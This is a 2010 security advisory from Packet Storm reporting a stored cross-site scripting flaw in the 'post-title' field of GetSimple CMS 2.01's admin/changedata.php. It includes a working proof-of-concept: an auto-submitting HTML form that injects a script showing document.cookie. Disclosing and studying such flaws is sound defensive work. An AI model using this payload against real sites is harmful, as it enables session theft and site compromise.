GetSimple CMS 2.01 Cross Site Scripting

2010-09-30T00:00:00
ID PACKETSTORM:94375
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-09-30T00:00:00

Description

                                        
                                            `Vulnerability ID: HTB22609  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_getsimple_cms_1.html  
Product: GetSimple CMS  
Vendor: Cagintranet Networks ( http://get-simple.info/ )   
Vulnerable Version: 2.01 and Probably Prior Versions  
Vendor Notification: 15 September 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "admin/changedata.php" script to properly sanitize user-supplied input in "post-title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/changedata.php" method="post" name="main" >  
  
<input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="post-id" value="test" />  
<input type="hidden" name="post-metak" value="" />  
<input type="hidden" name="post-metad" value="" />  
<input type="hidden" name="post-parent" value="" />  
<input type="hidden" name="post-template" value="template.php" />  
<input type="hidden" name="post-menu" value="test" />  
<input type="hidden" name="post-menu-order" value="" />  
<input type="hidden" name="post-content" value="page html" />  
<input type="hidden" name="existing-url" value="test" />  
<input type="hidden" name="submitted" value="Save Updates" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`